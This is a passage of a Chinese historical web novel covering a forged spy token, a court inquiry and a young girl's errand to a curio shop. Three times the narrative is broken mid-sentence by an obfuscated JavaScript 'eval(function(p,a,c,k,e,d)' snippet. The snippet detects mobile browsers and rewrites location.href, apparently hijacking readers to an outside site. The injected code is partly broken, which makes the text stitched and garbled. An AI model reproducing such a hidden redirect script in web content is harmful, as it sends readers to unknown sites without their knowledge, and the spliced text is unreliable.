景明帝缓了缓心情,看向从进殿就安安静静的林枝意:“林将军你从进殿开始便一言未发,这件事你怎么看?” 林枝意倒是无所忌惮:“末将以为,此事或于北寒有关,但绝非他们有意为之。” “哦?”景明帝深邃的眼眸微明,前倾着身转了转手中的沉香手捻道:“为何这么说?” “回陛下的话,如今北寒与东盛停战十三载,两国友好联盟,这些年无论是国内发展还是威慑边国,皆有极好的成效。” 林枝意顿了顿谨慎道:“末将曾镇守北境数载,深知北境安宁之不易,北寒亦知。就目前局势而言,两国继续友好相处,远利于两国交恶,末将以为北寒也不愿轻易撕碎这份安宁。” 景明帝垂眸沉思,慢慢点了点头:“朕亦是此想法,只是这令牌,又当如何解释?若非北寒所为,又是何人杀害杜佥事一家,其目的为何?” 顾明池一直躲在陆尚书身后笔挺如松,景明帝眯眼看了一会,见他似乎是在闲数崇和殿的地砖,当即点了他道:“明池,说说你的发现吧。” 已经数到第一百二十八块砖的顾明池思绪一断,他懵了片刻方才抬头回话道:“微臣没什么发现。” 景明帝不禁冷哼一声,拍了拍桌案点着他道:“你是朕从小看到大的!若不是心里有了确定的答案,你能闲得数这地砖?” 偷闲被抓,顾明池也丝毫没有尴尬之色。他挺着腰身端正而立道:“陛下心中早已定论,又何须臣等多言?就如林将军所言,北寒如今也正是待兴之时,犯不着此时毁了盟约给自己添麻烦。” 听了顾明池的话,陆尚书还捻着胡须点了点头,看起来也颇为认同他的话。 景明帝气不打一处来道:“你们刑部就这么结案的?凡事讲究证据!没有确切实证,如何结案?还有那真凶,不抓到他,难道任由他逍遥法外?” “陛下,查案需要时间,臣等可没说不查。只是先排除一些嫌疑罢了。” 陆尚书答得理直气壮,眼见景明帝气得要扔折子,顾明池这才叹着气出声道:“陛下今日无非是想要一个确切的证据,以说明此事与北寒无关。这倒是不难,毕竟证据已经摆在您的桌子上了。” 景明帝只怔了一瞬便反应过来:“是这令牌?” 顾明池点了点头道:“臣已细看过这令牌,它是假的。” 景明帝将令牌立于指间,左右翻转几次也未看出端倪:“你是如何知晓?” 恭立在下方的顾明池面带微笑:“工部的大人们应该还在都堂办事,陛下不如请他们来辨一辨。” * 夜色如墨,狭窄的巷道被厚厚的积雪覆盖。宫门上的灯笼在风雪中轻轻摇曳,昏黄的光晕映照着肃穆宫墙的一角。 “本已做好埋伏,就等着他们拿出北寒萧城的城防图了,没想到他们拿出的却是东盛的宁河辎重分存图,这时我们才发现中计了。先生,这次是属下疏忽了。” 回春堂的掌柜披着蓑衣躲在拐角暗处低声自责,手提灯笼倚于树下的温润男子缓缓摇头道:“回去再领罚。” “是。” 一袭素袍的阮知闲轻轻呵出热气,水汽氤氲于眉间,温润的面容透着一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142372|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从容与宁静。他轻轻掸去袖口处的落雪,柔声平和道:“通知天九,凡事涉及此次情报收集传递的人,一律收押进水牢,严加审问。除在东盛执行任务者,全部召回楼中,重新审验身份。” “属下明白。”张景神色懊恼,粗厚的指节捏得青胀:“先生,属下还是想不明白,这到底是何人设得局,目的又是什么?” 阮知闲低垂着眼眸不疾不徐道:“无非是那些想挑起两国争端的宵小。他们费了这般心血,定是要拖暗鸢楼入水。确定杜府内清理干净了么?” 张景匆忙肯定道:“这是自然!可惜,当时火势太过迅猛,东盛的官兵又来得太快,郝先生为了不引起官府对回春堂的怀疑,便留在了火海中......” “这次本不该是郝先生去的。”阮知闲的眉眼间晕染着悲意,宫门处倏然传来几声低语,他朝暗处动了动手指道:“你先回去吧,提醒大家,最近都小心些,不要轻举妄动。” 张景自暗处隐去。阮知闲看向宫门处正与身侧少年攀肩勾背的林枝意,唇角微微上扬,提着灯笼缓缓向她们走去。 “爹!”看到踏雪而来的修长身影,阮怀轩激动地挥了挥手:“爹!你怎么来了?” 阮知闲将臂弯处的氅袍覆在林枝意的肩头,仔细替她系好绳结解释道:“今夜太冷,来给你娘添件衣物。” “这点路,待会上了马,跑一会就暖和了。”林枝意大大咧咧地扯过阮知闲的手,将它焐在自己的衣袍内道:“倒是你,在这等了这么久,很冷吧?这小的刚好,可别大的再病了!” “嗯?谁病了?阿梨么?她怎么了?” 阮怀轩满面着急,阮知闲浅笑道:“她是着凉染了风寒,如今好了许多,再过两日便可痊愈,不必担心。” “如此便好。”阮怀轩摸了摸后脑,倏然庆幸道:“难怪去杜府看诊的是郝先生......虽然这么说不合适,但还好爹你要照顾阿梨,不然今日杜府这一劫......” “好了,先回去吧。”林枝意打断了阮怀轩的话,阮怀轩抻着懒腰捶肩道:“今日真是托顾兄的福,不然纪尚书才不会这么早放我们回去!” “嗯?你在工部,顾大人在刑部,这之间有什么关联么?”阮知闲撑着伞与林枝意同行,阮怀轩小跑两步,倒退着身边走边兴奋道:“因为顾兄带着我一起立了功!爹,顾兄真的好厉害呀!” “今日清理杜府时,官兵们发现了一枚北寒暗鸢楼的令牌!” 阮知闲握伞的手骤然一紧,他抬眸欲问,阮怀轩叉着腰得意道:“但是经过我和顾兄的查验,发现那是一块伪造的假令牌!唔!娘!你做什么!” 对着阮怀轩扔完一抔雪的林枝意拍拍手道:“你可真会往自己脸上贴金!是你辨出的真伪么?” 眼见母子二人就要开始一场雪战,阮知闲拦在中间道:“好了,你怎么也跟孩子一样?” 见有人撑腰,阮怀轩赶紧缩到了他的身后。 阮知闲回过身,掀起眼帘带着一抹若有若无的笑意道:“和爹说说,顾大人是如何辨出那个令牌并非暗鸢楼所有的?” 9. 第 9 章 “这暗鸢楼乃是北寒最大的暗探组织,由‘天、地、人’三阁组成,其中‘天阁’最为神秘,统筹楼中一切事务;‘人阁’负责搜集各种情报;‘地阁’则接取暗杀令,楼中人皆以数字为代号,传承已有百年之久。” 阮歆梨捧着药碗乌眸晶亮,眼巴巴地望着品茶歇息的阮怀轩催促道:“然后呢?又是怎么判断出令牌是假的?你赶紧说!” 看着猴急催促的阮歆梨,阮怀轩指了指阮歆梨手中还是近满的药碗。 阮歆梨五官微扭,犹豫了一瞬,还是抱起药碗一口气喝了个精光。 阮怀轩满意地点点头,扇柄轻轻敲击着桌面,故意放缓了声卖关道:“刚刚说了,暗鸢楼的人都是以代号为名,从不以真面目示人,又分散于各地,你说他们自己人又是怎样相认呢?” 阮歆梨反应极快:“令牌!” “聪明!”阮怀轩摇头晃脑道:“传讲暗鸢楼只要有人死亡,他的代号与令牌就会由新人接替,也就是说这‘集鸢令’至少也有百年之久。” “所以呢?”阮歆梨跳下床,爬到阮怀轩身边的矮凳上:“你们见过真的集鸢令?” “自是没见过。” 阮歆梨扑扇着细密的睫羽甚是急切:“哥!你别卖关子了!” 衣袖被拉扯得歪扭,阮怀轩仰着身躲避道:“行了行了!我这就说!是令牌的制作工艺!” 阮怀轩扶稳已经半个身子趴到自己身上的小妹,松了口气解释道:“北寒在工艺上本就不如东盛,百年前尚且用着块炼之术,这样炼出的铁杂质较多且质地偏软,集鸢令应当就是用这种方法制炼而成。” “但是在杜府发现的那枚令牌,制作工艺明显更为精熟,所用材料也更加纯净刚硬,显然是用东盛近几年才改进的冶炼之术所制。”阮怀轩将剥好的橘子塞进阮歆梨的口中道:“依着暗鸢楼令牌相承的规矩,杜府寻到的那枚令牌便只会是假造的。” “啊,原来如此!”阮歆梨含着橘汁口齿不清道:“哥,你怎么知道这么多暗鸢楼的事?” “我本来也不清楚,这些都是昨夜听顾兄所言。”阮怀轩不禁有些疑惑:“顾兄怎会对暗鸢楼的事如此了解?” 故事听完了,阮歆梨跳回凳子上晃悠着小腿道:“说明哥哥书读少了!” “说什么呢!我可是东盛年龄第二小的状元郎!”阮怀轩有些不服气的嘟囔道:“你怎么和爹一样......昨夜听完后,他也是这么说的。” “既已入朝为官,所思则需更广。”正好自门外进来的阮知闲提点道:“你若有心关注邻国,这暗鸢楼的消息,你只需稍加打探,也可了解一二。” 为臣者,安邦治国,替君分忧,目光自是不能短浅。 阮怀轩也意识到如今的自己还是学有所限,虚心起身鞠了一躬。 “阿爹!”突然想起之前阮知闲答应了她,要带她去逛街市,阮歆梨甜甜央求道:“出门玩!” 阮知闲微微一愣,随即有些为难地商量道:“改日可好?阿爹今日须去郝先生家一趟。” 郝先生......阮歆梨也有些难过。虽然见面次数不多,但依稀记得那是一个和善爱笑的老人家。 大概是忙于处理郝先生的后事,阮知闲今日也换了一身素白长袍。清俊的面容透着倦意,看到阮知闲眉宇间新添的褶痕,阮歆梨摸了摸他的眉心道:“阿爹先忙,阿梨不急。” 郝先生是替阮知闲去杜府看诊,出了这样的事,阮怀轩也明白父亲心中难受。 想着帮父亲分担一些事务,于是阮怀轩主动揽了活道:“爹,你最近只管忙郝先生与回春堂的事,我这两日正好休沐,可以带阿梨出门玩。” 听到阮怀轩愿意带自己出门,阮歆梨很是惊喜。 逛街市,买糖人这都不是她的主要目的。她这次出门就是想去闲来书斋找老板打听一些事情。 若是阮知闲陪着她,她就得老老实实跟在他身边,不大好脱身。可若是阮怀轩陪着...... 阮歆梨当即抱紧阮怀轩的大腿,兄妹情深道:“自打哥哥进了工部,阿梨也好久没有和哥哥在一起了,阿爹你就放心忙你的,我有哥哥陪伴!” “是啊,有我在呢,您只管放心!” 阮知闲有些担心,但最近他又确实忙不得空,对着一双儿女叮嘱了许久,这才应允道:“出门小心安全,不要玩得太晚。阿梨跟紧你哥哥,莫要四下乱跑!” “嗯嗯!”小脑袋点若拨浪鼓,阮知闲也只得轻叹而笑。 第二日,作为起床困难户的阮歆梨主动起了个大早,最后一口蟹黄包烫得她直哈气,也来不及吐出,就这么呼着小嘴奔向了阮怀轩所住的清风小院。 “哥哥!天亮了!该出门啦!” 雕花隔扇未开,阮歆梨站在院子里挥手呼喊,好一会阮怀轩才轻声打了一呵欠,学着阮歆梨的语气开门道:“知道啦!知道啦!天亮了!出门门!” 若是平日,见阮怀轩故意模仿她,阮歆梨定是要和他辩上几回,今天有求于人,到了嘴边的话又都咽了回去。 识趣的小姑娘眯弯了眼,讨好地挂笑道:“哥哥,我们去北街市好不好!” 一听到北街市,阮怀轩立即明白了阮歆梨打得是什么小算盘:“又想去闲来书斋买你那些神魔鬼怪的小书是吧?” 这次倒还真不是买书,但是阮歆梨也不想和她哥解释太多:“你就说去不去嘛!” “行!”阮怀轩应得干脆,想了想又矮身低声道:“爹和娘问起来,你可别说我带你去买小书了哦!” 阮歆梨敷衍地应声,拉着阮怀轩便急着往院外走去。 天刚大亮,盛京的街市已是热闹起来。 久违的日光轻拢着青石板铺就的长街,檐下积雪融化,落于地面击出嘀嗒轻响。街道两边的店铺门扉已是大开,巷口支起的摊位,叫卖声此起彼伏。 闲来书斋的对面摆了几张茶桌,此时已经坐了不少客人,伙计提着铜壶穿梭其间,茶香氤氲扑鼻。 “这茶虽闻不出具体是何品种,但香气清冽幽远,有着山野的清新,似又有花果的甘甜。”阮怀轩轻敲折扇不禁夸奖道:“好茶!” 阮歆梨的心早已飞进了闲来书斋,听到阮怀轩的话,刚要迈过门槛的脚又收了回来。 鹅蛋脸上眼珠灵动,阮歆梨轻抿嘴角又退回到阮怀轩身边建议道:“哥,这茶闻着好香啊!要不你在这喝茶等我,我挑好书再来寻你?” 阮怀轩有些犹豫,阮歆梨指指书斋大门道:“就在对面,你坐在这也能看到的。” 茶馆伙计也是有眼力劲的,见阮怀轩气质文雅,似是爱茶之人,当即上前邀请道:“公子?可要来小店品品这新雪山茶?都是老板自茶农手中收得山野嫩芽,又取梅林洁净的雪水而煮,清冽甘甜,您可先来品尝一二。” 伙计殷勤地推荐着,阮歆梨又乖巧懂事地帮腔,阮怀轩看了看近在咫尺的书斋大门,终是没禁住诱惑,撩袍而坐道:“行,那我就坐在这等你,你挑好了就来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142373|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻我!” “好的!”阮歆梨开心地转身欲走,瞄到她身后鼓囊的小包,阮怀轩出声道:“你这小包裹里装得什么?看着好像还有点分量,要不要哥先帮你收着......” “不用!里面是秀儿给我装得小点心!”阮歆梨捂着身后得小包裹蹿到对面道:“哥,你只管安心品茶!等我来找你就好!” 小小的身影一溜烟地钻进了对面的书斋中,看着那一抹鹅黄在店里四下转悠,阮怀轩慢慢安下心来,端坐于竹椅之上开始细细品茗。 一大清早来逛书斋的人并不多,老板便闲倚在柜台上打呵欠,余光瞥见进门的小身影,顿时眼睛光亮躬身相迎道:“哎哟,这不是阮小姐么!您今日可真是来巧了,店里新到了一批书,保管您喜欢!小的拿给您瞧瞧?” “好呀!”阮歆梨慢慢挪坐至店中的扶手椅上,老板赶紧招呼伙计去取书,自己奉了杯甜水到阮歆梨的手边道:“这是拙荆今日新做的,您暖暖手。” 书斋的伙计动作也很麻溜,阮歆梨刚接了甜水,他已经从书架上取好书回来。 老板吹了吹书面笑眯眯道:“云霄君的新作《南林奇录》,画面生动,内容甚是精彩!您看看?” 云嬷嬷说过,找人办事少不得要给些好处打点一二。 阮歆梨接了书只随意翻了两下,便放下书从自己的荷包中取了一锭碎银放下:“这书我买了。” 两句话的功夫便赚到了银子,老板也是乐得开心:“好嘞!快给阮小姐包上!” 伙计忙着去包书,阮歆梨挥了挥小手示意老板靠近说话道:“张老板,你可还记得先前有一本记载神器的书么?” 张老板低眉思索,从记忆里寻了个模糊书名道:“那本什么神兵榜?” 乌黑的眼眸瞬间一亮,阮歆梨赶紧点头道:“对!就是它!那本书还有么?” 一听阮歆梨要这本书,老板心中一阵后悔。 那本书纯属胡编乱造且内容枯燥,他推了几手都没卖出去,前些日子他家小儿上茅厕带了去,这书也就没了。 老板滴溜着眼热情道:“阮小姐就是有眼光,那本书乃小店珍品,数量不多,仅剩的那本前两日卖了出去。不过不要紧!您要是需要,可稍等两日,小的给您再寻一本!” 还需要两日啊...... 阮歆梨轻抿着唇点头应下,又不甘心地询问道:“那你还记不记得书里的内容,比如说有没有什么神物是器盏之类的?” “器盏类?”张老板压根就不记得书中的内容,只得凭着自己听过的神仙传闻胡乱想着,但是满脑子都是葫芦、宝塔之类的,也都不是阮歆梨所问。 见老板毫无头绪,阮歆梨从身后小包中露出琉璃盏的一角道:“就像这样的!” 老板眯眼细看,当即抚掌道:“这不是西漠那边的琉璃嘛!” 西漠? 阮歆梨不禁高兴道:“你认得它?” 神器没见过,但是这西漠国的新鲜玩意还是见过的!张老板立刻介绍道:“自是见过!此乃西漠国的珍品,只是具体何用,小的也不太清楚。” “那你还知不知道有谁了解它?” 谁了解它?那肯定是西漠的商人最了解! 张老板笑着指路道:“阮小姐若是想问这西漠珍宝,那南街的奇珍阁定是清楚。” 奇珍阁? 乌溜溜的眼眸明净透亮,阮歆梨收好琉璃盏当即做了决定—— 她要去奇珍阁问个明白! 10. 第 10 章 琉璃盏可吐签纸,能辨吉凶这件事实在是太过匪夷所思,阮歆梨暂时也不想和家中人说明。另外,按着书中所写的故事,这些神器若是知晓的人太多,不是引起纷争,便是有被仙人回收或者失效的风险。 考虑再三,阮歆梨觉得这件事还是越少人知道越好! 她躲在柜台旁斜眸望向对面的茶馆,此时阮怀轩已经与同在门口喝茶的客人熟络起来,两三人同坐一桌,也不知道在聊些什么,笑得甚是爽朗。 见阮怀轩此时说笑正欢,偏着头正好看不见书斋这边的情况,阮歆梨和书斋老板交代道:“待会若是有人来寻我,你就说我去买面人了,一会便回来,让他在此处等我。” 张老板自是应声,阮歆梨猫着腰,贴着书斋大门慢慢摸到了门口卖包子的小贩身后,她蹲下身躲在包子摊位下,轻轻探头瞄了眼阮怀轩的方向,见他依旧是先前与人畅聊的状态,当下不再犹豫,矮着身借着一旁摊位的遮掩,一溜烟地往南街市蹿了去。 背着小包裹一路跑远,直到确定阮怀轩看不见自己后,阮歆梨才捂着胸口靠着墙角呼呼喘气,第一次做这种在人眼皮子底下偷摸逃跑的事,真是太刺激了! 时间有限,只小歇了片刻,阮歆梨便准备继续赶往奇珍阁。然而望着熙熙攘攘的街市岔口,阮歆梨不禁傻了眼—— 南街市在哪边?往哪走? 阮歆梨观望着周围寻找着可以问路的目标。 云嬷嬷和阿娘都说过人牙子的可怕,所以看到雄壮的成年男子,她不太敢上前问路。个别路过的妇人,看到她们与人杀价时的精明模样,阮歆梨也不敢上前打扰。 思来想去,阮歆梨觉得还是只有找像自己这般年纪的孩童问路最为妥当,于是,她踮着小脚四处探望,还真在街市牌楼下的石墩旁看到了两个正在玩耍的同龄人。 阮歆梨朝着他们走去,离得近了才发现在石墩侧方还蹲靠着一个更为高壮的小少年。少年身着靛蓝色提花团纹圆领袍,两侧头发以玄色发绳扎起,额发垂落过眉眼,随着他嘴中叼着的草叶一同摇晃。 也不知是因为什么,那少年看起来心情不大好,旁边两个穿着粗布麻衣的瘦小少年一直在试着与他说笑,但是那锦袍少年依旧兴致缺缺,看起来不太好相与。 阮歆梨的目光在三人身上游移,锦袍少年看起来似是哪家的公子少爷,脾气也不太好,且不说他识不识路,若是问了再不搭理人,那便是纯浪费口舌。另外两个少年倒像是附近住家的孩子,看起来憨厚老实,对盛京的街坊道路定然也比较了解。 确定好问路人选,阮歆梨便向着三人中笑有酒窝的少年奔了去:“小哥哥,请问你知道南街市的奇珍阁怎么走么?” 原本还在说笑的少年倏然怔愣,一双眼眸定在眼前一身鹅黄的少女身上,不知不觉便红了脸:“南......南街市的奇珍阁,我知道!顺着这条道往南直走,穿过平心坊,再往西南穿过二道巷便能看到。” 心中默默记下几个地名与方位,阮歆梨回笑道谢,想了想又从小包裹中摸出一块包好的桂花糖,正准备拿出时,她抬眸看了看眼前的三个少年,又从包裹中多取了两块一同递出:“多谢!这是请你们吃的!” 杏圆的眼笑起来弯似短月牙,鹅黄镶白狐毛领的小袄衬着粉白透净的面容,眼前甜笑的少女,让三个少年不禁忽略了化雪时分的寒意,犹如置身早春暖阳之中。 指路少年身旁的人最先反应过来,他赶紧推了推自己的伙伴,指路少年这才回神道:“谢......多谢!” 看着对方捧出的双手,阮歆梨看看手心中三颗小小的桂花糖,索性从包裹中抓了一小把放进了对方手中。 见对方收下糖,急着去奇珍阁的阮歆梨伸开五指在身前轻轻挥了挥,开心地与少年们告别后,往南边街市跑跳而去。 随着她的跳动,双髻上的鹅黄发带也在身后灵动飘拂。方才一直蹲在石墩上不语的蓝袍少年自石墩上跳下,他望着起伏的那抹鹅黄,向另外两个少年询问道:“她是哪家的姑娘?” “不知道啊!”拿了糖的少年正在数手心中桂花糖的数量:“看起来像是哪家的小姐,反正不是我们这边街坊中小门小户家的姑娘。沈哥你没见过么?” 沈良朝回想了一下自己见过的那些高门贵女,一个个多是木讷无趣,并没有这般明亮鲜活的。 “一共有十二颗糖,沈哥不爱吃甜,那就你六颗,我六颗......哎?” 指路的少年看着沈良朝从他的手心中抓走四颗糖,不禁有些诧异:“沈哥你不是不爱吃甜么?” 沈良朝耳廓微红,躲着两个同伴的目光偏头道:“不爱吃甜,不代表不爱吃桂花糖!” 两个小少年还在迷惑“甜”与“桂花糖”之间的关系,沈良朝却是抬了腿也往南边走去。 “沈哥,你要去哪啊?”沈良朝重新叼了草根道:“你们刚刚不是商量要去南街市找阿成玩么?再不去,他娘又该拎他回去做功课了!” “哦!”分好糖的两个少年赶紧跟上,随后又奇怪道:“刚刚你不是还说无聊,不去,怎么这会又改变主意了?” 这次沈良朝没再回答,只回头瞪了一眼:“话多!” 阮歆梨顺着少年所指的方向顺利找到了奇珍阁。 早上去街市逛器物店的人并不多,奇珍阁位置背光,店内又挂着垂纱,这会显得甚是昏暗幽静。越是这般,再配上店内暗光流转的各色奇珍,连带着留着两撇小胡子穿着异域服饰的老板都显得格外神秘。 “这位小客官需要买些什么?小店物美价廉,你看上什么只管说。”老板大概是真的来自西漠,东盛话说得并不太标准,每说几个字便要停顿,尾音还会带着他的眉尾一同上扬,表情甚是丰富。 阮歆梨一向喜欢亮晶晶的漂亮物品,于是一进店门便被满架的西漠奇珍吸取了目光。她穿梭在一架架金丝楠多宝阁间,多彩的宝石晃得人眼前微眩。在店内粗略看了一遍,并没有看到和自己手中的琉璃盏相似之物,阮歆梨解下自己的小包裹,将琉璃盏展示于老板道:“老板,你见过这个么?” 老板只一眼便认出了这是自家店铺所出售的物品,他上下打量了一下阮歆梨,金棕色的瞳眸在狭长的眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142374|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内快速飞转了一圈摇头道:“没见过,这并非小店之物。” 一旁的伙计探头看了一眼,这个琉璃盏他倒是印象深刻。老板当时报了四倍价给那个长得跟仙儿似的公子,那公子看着贵气,杀价却甚是厉害,最后老板连两倍价都没坑着,为此还怄了许久。 听到老板说没见过,阮歆梨有些失落。看着眼前的小客人垂眉皱脸,生怕她退货不成再召来司市的老板赶紧胡吹道:“这虽非小店之物,但只一眼便知不是凡品!” 阮歆梨的眼眸倏然一亮:“为什么这么说?它是有什么特别的功效么?” “额......”老板搭在柜台旁的手指飞点,眼睛四下乱瞟瞎编道:“此物乃西漠贵族的珍藏,寻常百姓更是见都见不得。至于这功效么.......” 老板摸着自己的鼻尖飞快想着,目光落到架子上的烧彩镶红宝石的长嘴酒壶,随口说了一个西漠奇闻道:“据说是西漠之神权师夏硕的酒盏,可以实现人的愿望?” 说完老板自己都觉得胡编得有些过头,干笑着给自己找补道:“当然,这只是一个传闻,具体是不是这样,还得看拥有者与神的缘分。纵然这并非神器,这琉璃盏做工精湛,用材皆是上等,也是极具观赏与收藏价值......” “所以和神有缘,就有可能会出现神迹?比如说替拥有者辨吉凶?” 老板被阮歆梨问得一愣一愣的,心里不禁擦了把汗...... 不管怎样,这随口胡编的内容,只要客人信,老板自是不会和钱财过不去:“或许吧,毕竟能和神结缘的人不多。我见贵人面相福贵,或许就是这有缘人呢?” 既然已经骗了,老板心里盘算着不如再碰碰运气,他指了指刚才瞟到的烧彩酒壶道:“我们西漠一直有着‘神秘沙国’之称,时常有人会在荒漠中得到沙漠之神的眷顾,可见我们的神明是善良可亲的,小客人要不要再买一点奇珍,说不准就会结得神缘?” 那烧彩金壶造型很是奇特,上面镶嵌的红宝石红似鸽血,这些在东盛并不常见,在阮歆梨的眼中,它漂亮得很是神秘。 她还是有些犹豫要不要再买一件奇珍回去比较看看。 见阮歆梨似有心动,老板赶紧取了那件奇珍诱惑道:“我看它与小客人很有缘分,若是寻常,我定是开价百两黄金也未必肯出。今日,便六十六两白银出于小客人结缘。” 六十六两白银? 阮歆梨被它的价格惊得瞪眼,这是她半年的例钱了! 犹豫不舍的目光又飘了上去,阮歆梨学着秀儿向珍儿买铜簪时的模样,伸出五根手指问道:“五十两成么?” “成交!” 老板当即拍桌应下,阮歆梨正要翻荷包拿钱,店门口却传来一道清越笑声:“五十两?她能给,你敢收么?” 阮歆梨回头望去,一道修挺身影抱臂斜倚着雕花隔扇,檐梁阴影映射在对方高挺鼻梁之上。一双桃花眼本是魅惑之相,然而清雅矜贵的气质硬生生压去了那一分俗气,让他如水中泠月,宛似谪仙。 一向爱美的阮歆梨不禁赞叹,好漂亮一哥哥啊! 11. 第 11 章 农家的驴白天忙夜里歇,作为朝廷的犬马,也就只有休沐之日才能有一口喘息的机会。 今日恰逢休沐,作为刑部优秀犬马,终于得了闲的顾明池带着崔参在街上闲逛。逛到南街市时,倒似是看见了一个小熟人。 “崔参,方才钻进奇珍阁的那个小团子,可是镇远大将军的千金?” 听到顾明池问话,崔参再望向奇珍阁时,已不见任何身影:“大人,可要属下去看一看?” 顾明池也只是一瞬好奇,并无细探的想法,但是看看奇珍阁的牌匾......想起小姑娘那好骗的模样,顾明池点点头道:“你去看看吧。” 崔参小跑到奇珍阁前,只见店内没什么客人,他便没有入内,在门口寻了个好观察的角度听起了墙根。 听了一会后崔参神色古怪地走了回来:“大人,店里的正是阮小姐,但是......” 崔参吞吞吐吐,顾明池眉头一挑轻敲手中折扇道:“但是什么?她可是遇到了什么事情?” “倒也算不上什么事吧......”崔参也是有些丈二和尚摸不着头脑:“就是阮小姐正抱着您当初送她的生辰礼物,在和那黑心老板讨论什么神仙神器之类的,还说什么可辨吉凶。” 顾明池也觉得不可思议,那琉璃盏不过是他随手挑的西漠国奇珍,和那神仙神器有什么关系?更遑论辨别吉凶了! 点着扇柄思考再三,顾明池背了手往奇珍阁走道:“过去看看。” 店内,一高一矮还凑在一起叽里咕噜不知在说些什么,顾明池也如崔参先前那样,悄悄躲在门外附耳细听着店内的谈话。 听了片刻后,顾明池只觉肺腑都因过度憋笑而有些疼痛。 真是一个敢编,一个敢应。老板满嘴胡话,漏洞一堆,镇远大将军家的小傻瓜还能自己给人家找补,硬是把这些华而不实的珍宝加了几层神秘面纱。 终于在阮歆梨和老板商定,准备以五十两白银的“天价”买下那个镀金铜壶后,顾明池忍不住迈步走了进去。 看清顾明池的那一瞬,老板便躲闪着眼神将琉璃盏包好,放回了阮歆梨的小包裹中。然后不动声色地拎起那烧彩酒壶准备塞回架子上—— “怎么?这么好的价格,不卖了?”顾明池虚晃扇子拦下了老板的动作。老板微躬着腰心虚一笑道:“小本生意,都是些普通小玩意。” 顾明池低头看向刚刚及腰高的小姑娘,这才留意到对方一双乌黑眼眸一直随着自己的动作而转动。 看起来怎么呆愣呆愣的.......难不成之前的风寒还没好? 心中这么想着,手就那么自然地伸了出去。 温热的指关节贴上了阮歆梨刚刚吹了风而微凉的额首,阮歆梨被激得一颤终于回了神。感受到正常的体温,顾明池收回了轻轻贴靠出去的两根手指。 恍惚意识到对方刚刚抚了自己的额首,阮歆梨摸着自己被触碰的地方迷茫询问道:“你对我的脑门做了什么?” 本是随手一探,阮歆梨的问话却很有意思,顾明池不禁起了几分逗弄的心思。 因为个子矮,小姑娘只能绷紧后仰着脖颈看他,顾明池索性蹲下身,持平了视线,抬手轻弹了一下她光洁饱满的额首道:“你说我能对你的脑门做什么?” 依着阮歆梨那些天马行空的想法,满脑子都是美艳妖魅挖脑吸髓或者是神秘巫师种蛊控人之类的可怕行为。 她盯着眼前这张漂亮得不似人的脸,最后还是屈服于自己那一颗爱美之心,觉得对方一定是个正常人,才不是什么坏心眼的妖魅巫师。 等了许久也没等到小姑娘回话,看着她踌躇多变的神情,顾明池便知道她定是又在想些奇奇怪怪的东西,不知偏到了何处。 想起先前阮歆梨将他错认为狐妖,良心一般般的顾明池又忍不住想再逗一逗她。 捏扇的两指微微用力,顾明池展开扇面挡在脸侧轻声低语道:“听说小孩子的脑瓜最是鲜嫩好吃。” 乌黑圆眸倏然放大,阮歆梨浑身僵硬地看着眼前的“大漂亮”—— 眉如远山青黛,眼含溢彩流光,鼻似高峰耸立,唇犹牡丹殷红。 越看越像会用皮囊迷惑人类,然后再呲出一口利牙,将人吸食干净的大妖! 是人?是妖?是人?是妖...... 看着那对黑珍珠般的瞳眸闪烁跳动,顾明池终于忍不住笑出了声。 不笑还好,这一笑,阮歆梨脑海里立刻浮现了云霄君在《荒山诡异录》中对狐鬼的描写—— 那狐鬼立于月色之下,乌黑长发如流水般倾泻而下。一双狭长的眸子微微上挑,眼尾染着淡淡的绯红。 他的肌肤如玉般剔透,在夜色中隐隐透着冷光,唇角勾起一抹似有若无的笑意,既温柔又带着几分危险的诱惑......狐鬼盯着眼前的姑娘,轻启薄唇,声音柔和而又直击心底:“怕了么?” 脑海里的声音与面前的声音重叠,阮歆梨扑扇了一下眼睫,这才意识到眼前的这披着人皮的“妖”对她说了什么。 阮歆梨唰得抬掌捂住双眼!想想不对,又将手挪至脑门捂了个严实道:“阿梨好难吃的。” 小姑娘一开始看着有些呆愣,这会表情倒是鲜活,顾明池站起身弹了一下她的发髻道:“看来身体恢复差不多了,没烧傻。” 阮歆梨捂着脑门随着顾明池的走动转了个圈,过了片刻反应过来道:“你怎么知道我前几日生病的事?” 逗弄够了的顾明池终于拾回了一些良心,但也懒得解释过多,只简言道:“我是你哥哥的同僚,之前听他说过你生病的事。” 哥哥的同僚?那就不是妖......一张小脸气得一鼓一鼓,阮歆梨瞥了眼正在和老板交谈的高挺背影,在心中给他记了个标—— 爱骗小孩的撒谎精。 顾明池站在柜台前也不知和老板在说什么,阮歆梨凑上前也想听一听。 